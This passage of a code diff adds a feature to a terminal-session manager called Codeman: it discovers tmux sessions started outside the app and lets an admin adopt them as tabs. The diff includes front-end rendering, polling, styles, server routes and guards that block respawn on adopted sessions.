? `Detaches only — "${session.adopt.targetSession}" keeps running for whoever started it`
: 'Tmux session keeps running in background';
}
// Update kill button text based on session mode
const killTitle = document.getElementById('closeConfirmKillTitle');
if (killTitle) {
@@ -7511,9 +7530,20 @@ class CodemanApp {
const sessionId = this.pendingCloseSessionId;
this.cancelCloseSession();
if (sessionId) {
await this.closeSession(sessionId, killMux);
}
if (!sessionId) return;
// ⚠️ For an ADOPTED session `killMux` does not mean what it means everywhere
// else. There is no agent of ours to terminate: the only thing it can reach
// is the WRAPPER we created, and the server's adopted branch in
// `killSession` tears that down without ever touching the foreign server.
// So "keep the tmux session running" has no useful meaning here — taking it
// literally leaves our wrapper AND its grouped view session parked on the
// user's own socket forever, one pair per tab they ever closed (measured:
// `codeman-view-*` survived every close and the row stayed "Go to tab" with
// no tab behind it). Always tear the wrapper down; the foreign session is
// structurally out of reach either way.
const adopted = !!this.sessions.get(sessionId)?.adopt;
await this.closeSession(sessionId, adopted ? true : killMux);
}
nextSession() {
+359
View File
@@ -0,0 +1,359 @@
/**
* @fileoverview The "sessions someone opened by hand" block on the home screen.
*
* A tmux session a human started (`tmux new -s work`, then `claude`, or just a
* shell) is invisible to Codeman: it lives on the DEFAULT socket, not the
* instance-scoped one Codeman owns. `GET /api/mux/foreign` finds those, and one
* click wraps one in a Codeman tab (`POST /api/sessions/adopt`).
*
* ## One renderer, two containers
*
* The welcome screen and the phone overview both show this list. They call the
* SAME `renderForeignSessions(container)` rather than each building rows, because
* two renderers are how one surface ends up calling a session "shell" while the
* other calls it "bash". Same reason `CodemanSessionOrder` is shared.
*
* ## Polling only while the home screen is up
*
* The list is a poll, not an SSE stream: the server caches a local scan on a TTL,
* so N tabs polling costs one scan per TTL no matter how many are open. But an
* open tab that has LEFT the home screen must stop — otherwise every background
* tab keeps sweeping tmux sockets forever. `startForeignPolling` /
* `stopForeignPolling` are called from `showWelcome`/`hideWelcome`.
*
* ⚠️ Docker and remote locations are NOT polled. Each costs a `docker exec` or a
* full ssh handshake per target, and doing that on every home-screen load is the
* one cost the server-side design explicitly refuses. They are fetched only when
* the user asks, via the "scan containers & hosts" toggle, which then rides along
* with the same poll.
*
* ⚠️ Adoption creates a REAL session, so the button locks while in flight and the
* result goes through the app's normal idempotent create path
* (`_onSessionCreated` then `selectSession`) — never by inserting a tab here.
*
* @mixin Extends CodemanApp.prototype via Object.assign
* @dependency app.js (this.sessions, _onSessionCreated, selectSession, _apiJson)
* @dependency api-client.js (_apiJson / _apiPost envelope unwrapping)
* @dependency ralph-panel.js (formatRelativeTime)
* @loadorder 12.57 of 16, after home-sessions.js, before entrance-animations.js
*/
/** Fallback poll cadence; the server sends its own in `pollIntervalMs`. */
const FOREIGN_POLL_FALLBACK_MS = 8000;
/** Mode label shown on a row. Deliberately the same words the tab strip uses. */
const FOREIGN_MODE_LABEL = {
claude: 'Claude',
codex: 'Codex',
opencode: 'OpenCode',
gemini: 'Gemini',
antigravity: 'Antigravity',
pi: 'Pi',
grok: 'Grok',
deepseek: 'DeepSeek',
shell: 'Shell',
};
const FOREIGN_LOCATION_LABEL = {
local: 'this machine',
docker: 'container',
remote: 'remote',
};
Object.assign(CodemanApp.prototype, {
// ═══════════════════════════════════════════════════════════════
// Lifecycle
// ═══════════════════════════════════════════════════════════════
/**
* Begin polling. Idempotent: the home screen re-shows on several paths
* (boot, closing the last tab, a breakpoint change) and each would otherwise
* stack another interval on top of the last.
*/
startForeignPolling() {
if (this._foreignPollTimer) return;
void this.loadForeignSessions();
this._foreignPollTimer = setInterval(() => {
void this.loadForeignSessions();
}, this._foreignPollMs || FOREIGN_POLL_FALLBACK_MS);
},
/** Stop polling. MUST run on leaving the home screen — see @fileoverview. */
stopForeignPolling() {
if (!this._foreignPollTimer) return;
clearInterval(this._foreignPollTimer);
this._foreignPollTimer = null;
},
/** Whether the user asked for the expensive docker/remote scan too. */
foreignScanRemote() {
return this._foreignScanRemote === true;
},
toggleForeignScanRemote() {
this._foreignScanRemote = !this._foreignScanRemote;
void this.loadForeignSessions();
},
// ═══════════════════════════════════════════════════════════════
// Data
// ═══════════════════════════════════════════════════════════════
async loadForeignSessions() {
const wide = this.foreignScanRemote();
const qs = wide ? '?docker=1&remote=1' : '';
const data = await this._apiJson(`/api/mux/foreign${qs}`);
if (!data) {
// A failed poll must not blank a list the user is looking at: keep the
// last good result and let the next tick recover.
this._foreignError = true;
this.renderAllForeignSessions();
return;
}
this._foreignError = false;
this._foreignSessions = Array.isArray(data.sessions) ? data.sessions : [];
this._foreignNotes = Array.isArray(data.notes) ? data.notes : [];
this._foreignCanScanWide = data.canScanWide === true;
if (Number.isFinite(data.pollIntervalMs)) this._foreignPollMs = data.pollIntervalMs;
this.renderAllForeignSessions();
},
/**
* Adopt one candidate.
*
* The in-flight lock is per BUTTON, not global: two different foreign sessions
* can legitimately be adopted back to back. The server holds the real
* one-wrapper-per-target guarantee; this only stops a double-click.
*/
async adoptForeignSession(id, buttonEl) {
if (this._foreignAdoptInFlight) return;
this._foreignAdoptInFlight = true;
if (buttonEl) {
buttonEl.disabled = true;
buttonEl.textContent = codemanT ? codemanT('Opening…') : 'Opening…';
}
try {
const body = { id };
if (this.foreignScanRemote()) {
body.docker = true;
body.remote = true;
}
const data = await this._apiJson('/api/sessions/adopt', { method: 'POST', body });
if (!data || !data.session) {
this.showToast?.(
codemanT
? codemanT('That session is gone. Refreshing the list.')
: 'That session is gone. Refreshing the list.',
'error'
);
await this.loadForeignSessions();
return;
}
// Go through the app's normal create path so tab order, lineage lines and
// SSE-vs-POST ordering behave exactly as they do for a Run.
this._onSessionCreated?.(data.session);
await this.selectSession(data.session.id);
await this.loadForeignSessions();
} finally {
this._foreignAdoptInFlight = false;
if (buttonEl) {
buttonEl.disabled = false;
buttonEl.textContent = codemanT ? codemanT('Open') : 'Open';
}
}
},
// ═══════════════════════════════════════════════════════════════
// Render
// ═══════════════════════════════════════════════════════════════
/** Paint every mounted container (welcome + phone overview). */
renderAllForeignSessions() {
for (const id of ['foreignSessions', 'mobileForeignSessions']) {
const el = document.getElementById(id);
if (el) this.renderForeignSessions(el);
}
},
/**
* Render into one container. The ONLY row builder — see @fileoverview.
*
* Everything is built with DOM APIs and `textContent`: a session name and a
* command line come from another user's process, so they are never allowed
* near `innerHTML`.
*/
renderForeignSessions(container) {
const rows = Array.isArray(this._foreignSessions) ? this._foreignSessions : [];
container.innerHTML = '';
if (!rows.length) {
// Hidden rather than shown-empty: on a first run there is usually nothing,
// and an empty block on the welcome screen reads as a broken feature.
// A note is a REASON the list is empty, so a block carrying one must stay
// visible — hiding it is exactly how "where did my session go" becomes
// unanswerable.
const hasNotes = Array.isArray(this._foreignNotes) && this._foreignNotes.length > 0;
// ⚠️ `canScanWide` must keep the block visible even with nothing to show.
// The scan toggle lives in the header, so hiding an empty block also hides
// the only control that could fill it — on a host with containers but no
// local tmux sessions that made the whole feature unreachable.
container.hidden = !this.foreignScanRemote() && !this._foreignError && !hasNotes && !this._foreignCanScanWide;
if (!container.hidden) {
container.appendChild(this._foreignHeader(0));
const empty = document.createElement('div');
empty.className = 'foreign-empty';
this._appendForeignNotes(container);
empty.textContent = this._foreignError
? codemanT
? codemanT('Could not reach the server.')
: 'Could not reach the server.'
: codemanT
? codemanT('No sessions found outside Codeman.')
: 'No sessions found outside Codeman.';
container.appendChild(empty);
}
return;
}
container.hidden = false;
container.appendChild(this._foreignHeader(rows.length));
this._appendForeignNotes(container);
const list = document.createElement('div');
list.className = 'foreign-list';
// Adoptable first: an already-open one is not an action, it is a reminder.
const sorted = rows.slice().sort((a, b) => {
const aOpen = a.adoptedBy ? 1 : 0;
const bOpen = b.adoptedBy ? 1 : 0;
if (aOpen !== bOpen) return aOpen - bOpen;
return (b.createdAt || 0) - (a.createdAt || 0);
});
for (const row of sorted) list.appendChild(this._foreignRow(row));
container.appendChild(list);
},
/**
* Why a scan produced less than the user expected.
*
* Without this, a session skipped for an unsafe name or a host that could not
* be reached is simply ABSENT, and "my tmux session does not show up" has no
* answer anywhere in the product. Notes are server-authored strings, rendered
* as text.
*/
_appendForeignNotes(container) {
const notes = Array.isArray(this._foreignNotes) ? this._foreignNotes : [];
if (!notes.length) return;
const box = document.createElement('div');
box.className = 'foreign-notes';
box.setAttribute('data-i18n-skip', '');
for (const n of notes) {
const line = document.createElement('div');
line.className = 'foreign-note';
line.textContent = n;
box.appendChild(line);
}
container.appendChild(box);
},
_foreignHeader(count) {
const header = document.createElement('div');
header.className = 'foreign-header';
const title = document.createElement('h3');
title.className = 'foreign-title';
title.textContent = codemanT ? codemanT('Opened outside Codeman') : 'Opened outside Codeman';
header.appendChild(title);
if (count) {
const badge = document.createElement('span');
badge.className = 'foreign-count';
badge.setAttribute('data-i18n-skip', '');
badge.textContent = String(count);
header.appendChild(badge);
}
const scan = document.createElement('button');
scan.type = 'button';
scan.className = 'foreign-scan-toggle';
scan.dataset.foreignAction = 'toggle-scan';
scan.setAttribute('aria-pressed', String(this.foreignScanRemote()));
scan.title = codemanT
? codemanT('Also scan containers and remote hosts (slower)')
: 'Also scan containers and remote hosts (slower)';
scan.textContent = this.foreignScanRemote() ? '⟳ all' : '⟳ local';
header.appendChild(scan);
return header;
},
_foreignRow(row) {
const item = document.createElement('div');
item.className = 'foreign-row';
if (row.adoptedBy) item.classList.add('foreign-row--open');
const dot = document.createElement('span');
dot.className = `foreign-dot foreign-dot--${row.mode || 'shell'}`;
item.appendChild(dot);
const body = document.createElement('span');
body.className = 'foreign-row-body';
const line1 = document.createElement('span');
line1.className = 'foreign-row-name';
line1.setAttribute('data-i18n-skip', '');
line1.textContent = row.sessionName || '(unnamed)';
body.appendChild(line1);
const line2 = document.createElement('span');
line2.className = 'foreign-row-sub';
line2.setAttribute('data-i18n-skip', '');
const bits = [FOREIGN_MODE_LABEL[row.mode] || row.mode];
const where = row.hostLabel || FOREIGN_LOCATION_LABEL[row.location] || row.location;
if (where) bits.push(where);
if (row.workingDir) bits.push(row.workingDir);
line2.textContent = bits.join(' · ');
line2.title = row.command || '';
body.appendChild(line2);
item.appendChild(body);
const action = document.createElement('button');
action.type = 'button';
action.className = 'foreign-open-btn';
if (row.adoptedBy) {
action.dataset.foreignAction = 'select';
action.dataset.foreignSession = row.adoptedBy;
action.textContent = codemanT ? codemanT('Go to tab') : 'Go to tab';
} else {
action.dataset.foreignAction = 'adopt';
action.dataset.foreignId = row.id;
action.textContent = codemanT ? codemanT('Open') : 'Open';
}
item.appendChild(action);
return item;
},
/**
* One delegated listener per container, wired once. Delegation matters here
* because the list is fully rebuilt on every poll — per-button listeners would
* leak one set per tick.
*/
wireForeignSessions() {
if (this._foreignWired) return;
this._foreignWired = true;
document.addEventListener('click', (event) => {
const el = event.target?.closest?.('[data-foreign-action]');
if (!el) return;
const action = el.dataset.foreignAction;
if (action === 'adopt') {
void this.adoptForeignSession(el.dataset.foreignId, el);
} else if (action === 'select') {
void this.selectSession(el.dataset.foreignSession);
} else if (action === 'toggle-scan') {
this.toggleForeignScanRemote();
}
});
},
});
+11 -4
View File
@@ -524,6 +524,12 @@
</div>
<div class="history-list" id="historyList"></div>
</div>
<!-- Sessions a human started outside Codeman (foreign-sessions.js).
Hidden until a scan finds one; never rendered empty on a fresh
install, where an empty block reads as a broken feature. -->
<div class="welcome-foreign">
<div class="foreign-sessions" id="foreignSessions" hidden></div>
</div>
<p class="welcome-hint">Or click Run to start</p>
<button class="welcome-ralph-link" onclick="app.showRalphWizard()">Start Ralph Loop &rarr;</button>
</div>
@@ -1562,11 +1568,11 @@
<p class="modal-session-name" id="closeConfirmSessionName"></p>
</div>
<div class="close-options">
<button class="close-option" onclick="app.confirmCloseSession(false)">
<span class="close-option-title">Remove Tab</span>
<span class="close-option-desc">Tmux session keeps running in background</span>
<button class="close-option" onclick="app.confirmCloseSession(false)" id="closeConfirmKeepBtn">
<span class="close-option-title" id="closeConfirmKeepTitle">Remove Tab</span>
<span class="close-option-desc" id="closeConfirmKeepDesc">Tmux session keeps running in background</span>
</button>
<button class="close-option close-option-danger" onclick="app.confirmCloseSession(true)">
<button class="close-option close-option-danger" onclick="app.confirmCloseSession(true)" id="closeConfirmKillBtn">
<span class="close-option-title" id="closeConfirmKillTitle">Kill Tmux & Claude Code</span>
<span class="close-option-desc">Terminate the session completely</span>
</button>
@@ -3759,6 +3765,7 @@
<script defer src="webview-tabs.js"></script>
<script defer src="mobile-overview.js"></script>
<script defer src="home-sessions.js"></script>
<script defer src="foreign-sessions.js"></script>
<script defer src="entrance-animations.js"></script>
<script defer src="ralph-wizard.js"></script>
<script defer src="api-client.js"></script>
+10
View File
@@ -507,6 +507,16 @@ Object.assign(CodemanApp.prototype, {
)
);
// Sessions a human opened outside Codeman. Its own container, rebuilt by the
// ONE renderer in foreign-sessions.js — the phone must not grow a second row
// builder that could describe the same session differently from the desktop.
const foreign = document.createElement('div');
foreign.className = 'foreign-sessions mobile-foreign-sessions';
foreign.id = 'mobileForeignSessions';
foreign.hidden = true;
el.appendChild(foreign);
this.renderForeignSessions?.(foreign);
el.appendChild(
this._buildMobileOverviewSection(
'Past sessions',
+12
View File
@@ -4027,6 +4027,18 @@ html[data-session-list="sidebar"] .session-sidebar .session-tab .tab-close {
}
}
/* Foreign sessions block inside the phone overview (foreign-sessions.js).
The desktop block sits inside the welcome column; here it is a full-width
section between CURRENT and PAST, so it only needs the surrounding spacing —
every row style is shared with styles.css on purpose. */
.mobile-foreign-sessions {
margin: 0.75rem 0.75rem 0;
}
.mobile-foreign-sessions .foreign-list {
max-height: none;
}
/* Folding devices, tabletop pose: cap the response viewer to the bottom
segment. Twin of the rule at the end of styles.css, needed here because the
phone block (under 600px) above sets `max-height: 92dvh` on the same selector at the same
+170
View File
@@ -19088,3 +19088,173 @@ html[data-session-list="sidebar"][data-sidebar="collapsed"] .btn-sidebar-toggle
font-size: 13px;
color: var(--text-muted);
}
/* ═══════════════════════════════════════════════════════════════
Foreign sessions — tmux sessions a human started outside Codeman
(foreign-sessions.js). Rendered on the welcome screen and, with the
same row builder, inside the phone overview.
Colour vocabulary is deliberately the session-tab one: a mode dot on
the left, name over a dim meta line, action pinned right. A block that
invented its own language here would read as a different product.
═══════════════════════════════════════════════════════════════ */
.welcome-foreign {
width: 100%;
margin-top: 0.75rem;
}
.foreign-sessions {
display: flex;
flex-direction: column;
gap: 0.4rem;
text-align: left;
}
/* `.foreign-sessions` is a flex container, so `[hidden]` needs re-asserting or
the module's only visibility lever does nothing (same trap as .home-sessions). */
.foreign-sessions[hidden] {
display: none;
}
.foreign-header {
display: flex;
align-items: center;
gap: 0.5rem;
}
.foreign-title {
font-size: 0.85rem;
color: var(--text-dim);
font-weight: 500;
text-align: left;
}
.foreign-count {
font-size: 0.68rem;
color: var(--text-dim);
background: rgba(255, 255, 255, 0.05);
border-radius: 999px;
padding: 0.1rem 0.45rem;
white-space: nowrap;
}
.foreign-scan-toggle {
margin-left: auto;
font-size: 0.68rem;
color: var(--text-dim);
background: transparent;
border: 1px solid var(--border);
border-radius: 999px;
padding: 0.12rem 0.5rem;
cursor: pointer;
}
.foreign-scan-toggle[aria-pressed='true'] {
color: var(--session-blue, #4a9eff);
border-color: var(--session-blue, #4a9eff);
}
.foreign-list {
display: flex;
flex-direction: column;
gap: 0.3rem;
max-height: min(40vh, 320px);
overflow-y: auto;
}
.foreign-row {
display: flex;
align-items: center;
gap: 0.55rem;
padding: 0.4rem 0.55rem;
border: 1px solid var(--border);
border-radius: 6px;
background: rgba(255, 255, 255, 0.02);
min-width: 0;
}
.foreign-row--open {
opacity: 0.62;
}
.foreign-dot {
width: 8px;
height: 8px;
border-radius: 50%;
flex: 0 0 auto;
background: var(--text-muted, #888);
}
.foreign-dot--claude {
background: #d97757;
}
.foreign-dot--codex {
background: #9b8cff;
}
.foreign-dot--shell {
background: #4caf7d;
}
.foreign-row-body {
display: flex;
flex-direction: column;
min-width: 0;
flex: 1 1 auto;
}
.foreign-row-name {
font-size: 0.82rem;
color: var(--text);
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.foreign-row-sub {
font-size: 0.68rem;
color: var(--text-dim);
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.foreign-open-btn {
flex: 0 0 auto;
font-size: 0.7rem;
padding: 0.22rem 0.6rem;
border-radius: 5px;
border: 1px solid var(--border);
background: rgba(255, 255, 255, 0.04);
color: var(--text);
cursor: pointer;
}
.foreign-open-btn:hover:not(:disabled) {
border-color: var(--session-blue, #4a9eff);
color: var(--session-blue, #4a9eff);
}
.foreign-open-btn:disabled {
opacity: 0.55;
cursor: default;
}
.foreign-empty {
font-size: 0.72rem;
color: var(--text-dim);
padding: 0.3rem 0.1rem;
}
.foreign-notes {
display: flex;
flex-direction: column;
gap: 0.15rem;
}
.foreign-note {
font-size: 0.66rem;
color: var(--text-dim);
opacity: 0.85;
line-height: 1.35;
}
+8
View File
@@ -2215,6 +2215,9 @@ Object.assign(CodemanApp.prototype, {
if (overlay) overlay.classList.remove('visible');
this.hideHomeSessions?.();
this.showMobileOverview();
// The phone overview hosts the same list in its own container.
this.wireForeignSessions?.();
this.startForeignPolling?.();
this._updateCjkInputState?.();
return;
}
@@ -2229,6 +2232,10 @@ Object.assign(CodemanApp.prototype, {
// Open tabs down the left gutter. Self-gating: a window too narrow to hold
// the column without overlapping the content leaves it hidden.
this.showHomeSessions?.();
// Sessions a human opened outside Codeman. Polls only while this screen is
// up (stopped in hideWelcome) — see foreign-sessions.js.
this.wireForeignSessions?.();
this.startForeignPolling?.();
}
// Home screen has no input target — hide the CJK textarea (activeSessionId
// is null by the time we get here). Guarded: defined on the app object.
@@ -2238,6 +2245,7 @@ Object.assign(CodemanApp.prototype, {
hideWelcome() {
this.hideMobileOverview?.();
this.hideHomeSessions?.();
this.stopForeignPolling?.();
const overlay = document.getElementById('welcomeOverlay');
if (overlay) {
overlay.classList.remove('visible');
+62 -1
View File
@@ -1,6 +1,13 @@
/**
* @fileoverview Mux (tmux) session management routes.
* Provides mux session listing, killing, reconciliation, and stats control.
* Provides mux session listing, killing, reconciliation, stats control, and
* discovery of FOREIGN tmux sessions (ones a human started outside Codeman).
*
* Discovery lives here rather than beside the adopt endpoint on purpose: like
* every other route in this file it exposes cross-user process state — other
* people's session names, commands and working directories — so it inherits the
* admin gate this file already applies. Adoption is a session CREATE and stays in
* `session-routes.ts`, where the owner, capacity and case-space gates live.
*/
import { FastifyInstance } from 'fastify';
@@ -8,6 +15,8 @@ import type { InfraPort } from '../ports/index.js';
import { STATS_COLLECTION_INTERVAL_MS } from '../../config/server-timing.js';
import { requireAdmin } from '../route-helpers.js';
import { isMultiUserMode } from '../../config/multiuser.js';
import { discoverForeignSessions, readAllDockerCases, readAllRemoteHosts } from '../../foreign-tmux-discovery.js';
import { FOREIGN_POLL_INTERVAL_MS } from '../../config/foreign-tmux.js';
export function registerMuxRoutes(app: FastifyInstance, ctx: InfraPort): void {
app.get('/api/mux-sessions', async (req, reply) => {
@@ -36,6 +45,58 @@ export function registerMuxRoutes(app: FastifyInstance, ctx: InfraPort): void {
return result;
});
/**
* Foreign tmux sessions available for adoption.
*
* LOCAL results are always included and are TTL-cached, because the home screen
* polls this endpoint while it is open. DOCKER and REMOTE are opt-in per
* request (`?docker=1`, `?remote=1`): each costs one `docker exec` or one ssh
* per target, and having the home page fan those out on every load is the one
* cost this design refuses to pay.
*
* `adoptedBy` is filled from the live mux sessions, so a target Codeman already
* wraps renders as "open" rather than offering a second wrapper.
*/
app.get('/api/mux/foreign', async (req, reply) => {
if (isMultiUserMode() && !requireAdmin(req, reply)) return;
const q = (req.query ?? {}) as Record<string, string | undefined>;
const wantDocker = q.docker === '1' || q.docker === 'true';
const wantRemote = q.remote === '1' || q.remote === 'true';
// Read the registries either way: `canScanWide` tells the browser whether the
// expensive scan has anywhere to go. Without it the UI hides an empty block —
// and with it the toggle that is the ONLY way to populate that block, which on
// a host with containers but no local tmux sessions made the feature invisible.
const dockerCases = await readAllDockerCases();
const remoteHosts = await readAllRemoteHosts();
const result = await discoverForeignSessions({
local: true,
force: q.force === '1',
dockerCases: wantDocker ? dockerCases : undefined,
remoteHosts: wantRemote ? remoteHosts : undefined,
});
// Match on the (socket, session) pair rather than on our opaque candidate id:
// the id encodes a host key that a restored wrapper does not carry, while the
// pair is exactly what the wrapper stores and what it re-attaches to.
const wrapped = new Map<string, string>();
for (const m of ctx.mux.getSessions()) {
if (m.adopt) wrapped.set(`${m.adopt.socketPath}\u0000${m.adopt.targetSession}`, m.sessionId);
}
return {
sessions: result.sessions.map((f) => ({
...f,
adoptedBy: wrapped.get(`${f.socketPath}\u0000${f.sessionName}`),
})),
scannedAt: result.scannedAt,
notes: result.notes,
pollIntervalMs: FOREIGN_POLL_INTERVAL_MS,
canScanWide: dockerCases.length > 0 || remoteHosts.length > 0,
};
});
app.post('/api/mux-sessions/stats/start', async (req, reply) => {
// Multi-user: process-wide stats collection toggle → admin-only.
if (isMultiUserMode() && !requireAdmin(req, reply)) return;
+11
View File
@@ -53,6 +53,17 @@ export function registerRalphRoutes(
};
const session = findSessionOrFail(ctx, id, req);
// ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
// session can be `mode: 'claude'` and still be a process we never launched.
// Everything below drives the pane on the assumption Codeman owns what runs
// in it — sending `/clear`, killing and relaunching the agent — which against
// someone else's live session is destructive, not merely unsupported.
if (session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'The Ralph tracker is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
);
}
// Ralph tracker is not supported for external-CLI sessions (opencode/codex)
if (isExternalCliMode(session.mode)) {
return createErrorResponse(
+33
View File
@@ -98,6 +98,17 @@ export function registerRespawnRoutes(
}
const session = findSessionOrFail(ctx, id, req);
// ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
// session can be `mode: 'claude'` and still be a process we never launched.
// Everything below drives the pane on the assumption Codeman owns what runs
// in it — sending `/clear`, killing and relaunching the agent — which against
// someone else's live session is destructive, not merely unsupported.
if (session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'Respawn is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
);
}
// Respawn is not supported for external-CLI sessions (opencode/codex)
if (isExternalCliMode(session.mode)) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);
@@ -241,6 +252,17 @@ export function registerRespawnRoutes(
return createErrorResponse(ApiErrorCode.SESSION_BUSY, 'Session is busy');
}
// ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
// session can be `mode: 'claude'` and still be a process we never launched.
// Everything below drives the pane on the assumption Codeman owns what runs
// in it — sending `/clear`, killing and relaunching the agent — which against
// someone else's live session is destructive, not merely unsupported.
if (session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'Respawn is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
);
}
// Respawn is not supported for external-CLI sessions (opencode/codex)
if (isExternalCliMode(session.mode)) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);
@@ -310,6 +332,17 @@ export function registerRespawnRoutes(
const body = reResult.data as { config?: Partial<RespawnConfig>; durationMinutes?: number };
const session = findSessionOrFail(ctx, id, req);
// ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
// session can be `mode: 'claude'` and still be a process we never launched.
// Everything below drives the pane on the assumption Codeman owns what runs
// in it — sending `/clear`, killing and relaunching the agent — which against
// someone else's live session is destructive, not merely unsupported.
if (session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'Respawn is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
);
}
// Respawn is not supported for external-CLI sessions (opencode/codex)
if (isExternalCliMode(session.mode)) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);
+153
View File
@@ -30,6 +30,16 @@ import {
type OmpConfig,
type RemoteHost,
} from '../../types.js';
import { AdoptForeignSessionSchema } from '../schemas.js';
import {
discoverForeignSessions,
invalidateForeignCache,
readAllDockerCases,
readAllRemoteHosts,
} from '../../foreign-tmux-discovery.js';
import { foreignViewSessionName } from '../../foreign-tmux.js';
import { requireAdmin } from '../route-helpers.js';
import type { SessionAdopt } from '../../types/session.js';
import { Session, isAltScreenStripMode, isExternalCliMode, isMuxAltScreenOnlyStripMode } from '../../session.js';
import type { PaneCaptureOptions } from '../../mux-interface.js';
import { SseEvent } from '../sse-events.js';
@@ -1156,6 +1166,149 @@ export function registerSessionRoutes(
return { session: lightState };
});
// ========== Adopt a foreign tmux session ==========
/**
* Wrap a tmux session a HUMAN started (local, in a container, or over ssh) in a
* Codeman session, so it appears as a tab and can be driven from the browser.
*
* Four things make this safe, and each is load-bearing:
*
* 1. **The body carries only an opaque id.** The socket path, session name and
* host are re-resolved by re-running discovery here. A browser therefore
* never supplies a fragment of the command we are about to run, which is the
* same rule that keeps docker-adopt and remote-attach injection-free.
* 2. **The candidate must still exist.** Discovery is re-run rather than cached,
* so a session that died between the listing and the click fails with a 404
* instead of producing a wrapper attached to nothing.
* 3. **One wrapper per target.** Two wrappers on one foreign session would each
* create their own grouped view and each think they own the tab; the guard
* is here rather than in the button's in-flight lock, which only stops a
* double-click on one device.
* 4. **Admin-only under multi-user.** Discovery already is (it exposes other
* users' processes), and adopting someone's `shell` is arbitrary execution
* as the server account — which is exactly what the `can-bypass-permissions`
* grant gates elsewhere. The admin gate subsumes it, so there is deliberately
* no second grant check here.
*/
app.post('/api/sessions/adopt', async (req, reply) => {
if (isMultiUserMode() && !requireAdmin(req, reply)) return;
const owner = ownerFor(req);
const capMsg = sessionCapacityMessage(ctx.sessions, owner);
if (capMsg) return createErrorResponse(ApiErrorCode.SESSION_BUSY, capMsg);
const body = parseBody(AdoptForeignSessionSchema, req.body, 'Invalid request body');
// Re-resolve rather than trust: point 1 and 2 above.
const found = await discoverForeignSessions({
local: true,
force: true,
dockerCases: body.docker ? await readAllDockerCases() : undefined,
remoteHosts: body.remote ? await readAllRemoteHosts() : undefined,
});
const target = found.sessions.find((f) => f.id === body.id);
if (!target) {
// ⚠️ "Not in the re-resolve" has two very different causes and they must not
// be reported as one. The session really being gone is the ordinary case;
// the OTHER case is a location we could not reach this time, which on a
// flaky link makes a perfectly live remote session read as deleted. Measured
// against a real VM whose ssh path dropped ~10% of connections: clicking
// Open failed with "no longer there" while the session was sitting right
// there. Discovery already knows which it was — it wrote a note — so say so.
const reach = found.notes.filter((n) => !/skipped/.test(n));
return createErrorResponse(
ApiErrorCode.NOT_FOUND,
reach.length
? `Could not reach it just now (${reach.join('; ')}). It may still be running — try again.`
: 'That tmux session is no longer there. Refresh the list and try again.'
);
}
// Point 3 — one wrapper per (socket, session).
const existing = ctx.mux
.getSessions()
.find((m) => m.adopt?.socketPath === target.socketPath && m.adopt?.targetSession === target.sessionName);
if (existing) {
const live = ctx.sessions.get(existing.sessionId);
if (live) return { session: ctx.getSessionStateWithRespawn(live), alreadyAdopted: true };
}
// Connection facts are copied onto the session rather than referenced by id:
// a wrapper restored after a server restart must be able to rebuild its
// command even if the host registry was edited in the meantime.
const adopt: SessionAdopt = {
location: target.location,
socketPath: target.socketPath,
targetSession: target.sessionName,
viewSession: '',
paneCurrentPath: target.workingDir,
};
if (target.location === 'docker') {
const hosts = await readDockerHosts(CODEMAN_CONFIG_DIR);
const host = hosts.find((h) => h.id === target.hostId);
if (!target.containerName) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Container name missing for a docker candidate');
}
adopt.docker = {
hostId: target.hostId ?? '',
label: target.hostLabel ?? target.containerName,
engine: host?.engine ?? 'docker',
containerName: target.containerName,
daemonHost: host?.daemonHost,
context: host?.context,
};
} else if (target.location === 'remote') {
const host = (await readRemoteHosts(CODEMAN_CONFIG_DIR)).find((h) => h.id === target.hostId);
if (!host) return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Remote host not found');
adopt.remote = {
hostId: host.id,
label: host.label,
host: host.host,
username: host.username,
port: host.port,
identityFile: host.identityFile,
socksProxy: host.socksProxy,
jumpHost: host.jumpHost,
extraSshOptions: host.extraSshOptions,
};
}
const adoptHistoryConfig = await ctx.getTerminalHistoryConfig();
// ⚠️ `workingDir` for an adopted session is the FOREIGN pane's cwd, which may
// not exist on this host (a container path, a remote path). It is recorded as
// an observation for display; the wrapper pane is never `cd`'d into it, and
// the case-space confinement that guards a real workingDir does not apply
// because nothing is created there.
const session = new Session({
workingDir: target.workingDir || process.cwd(),
mode: target.mode,
name: body.name || target.sessionName,
mux: ctx.mux,
useMux: true,
tmuxHistoryLimit: adoptHistoryConfig.tmuxHistoryLimit,
adopt,
owner,
parentSessionId: resolveParentSessionId(ctx, req, body.parentSessionId, owner),
});
// The view session name is derived from the Codeman session id, so it can only
// be filled once the Session exists.
adopt.viewSession = foreignViewSessionName(session.id);
await ctx.addSession(session);
ctx.store.incrementSessionsCreated();
ctx.persistSessionState(session);
await ctx.setupSessionListeners(session);
getLifecycleLog().log({ event: 'created', sessionId: session.id, name: session.name });
invalidateForeignCache();
const lightState = ctx.getSessionStateWithRespawn(session);
ctx.broadcast(SseEvent.SessionCreated, lightState);
return { session: lightState, adopted: true };
});
// ========== Rename Session ==========
app.put('/api/sessions/:id/name', async (req) => {
+21
View File
@@ -2067,3 +2067,24 @@ export const CustomModelSelectionSchema = z.union([
}),
z.object({ clear: z.literal(true) }),
]);
/**
* Adopt a FOREIGN tmux session (one a human started outside Codeman).
*
